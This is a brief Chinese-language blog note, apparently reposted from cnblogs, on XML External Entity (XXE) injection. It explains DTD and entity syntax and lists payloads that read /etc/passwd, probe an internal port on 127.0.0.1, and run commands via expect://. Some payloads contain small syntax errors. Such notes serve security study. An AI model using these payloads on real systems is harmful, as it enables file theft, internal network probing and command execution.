标签:doctype 需要 默认 ogg 名称 导致 协议 引用 nal
XML声明: < ?xml version="1.0" encoding= "utf-8"?>
内部DTD声明: <!DOCTYPE根元素名称[元素声明] >
外部实体声明: <!ENTITY实体名称SYSTEM "URI/URL" >
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a[
<!ENTITY testSYSTEM "php协议">
]>
<!--先定义 -->
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a[
<!ENTITY test SYSTEM "file:///etc/passwd">
]>
<!--再引用 -->
<x>&test</x>
<?xml version="1.0" encoding= "utf-8"?> <!DOCTYPE a [ <!ENTITY b SYSTEM "http://127.0.0.1:3306*> ]> <c>&b;</c>
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPEa[ <!ENTITY b SYSTEM "http://127.0.0.1/1.txt"> ]> <c>&b;</c>
<?xml version="1.0" encoding= "utf-8"?> <!DOCTYPE a [ <!ENTITY b SYSTEM "expect://./test"> ]> <c>&b;</c>
标签:doctype 需要 默认 ogg 名称 导致 协议 引用 nal
原文地址:https://www.cnblogs.com/l0nmar/p/12822681.html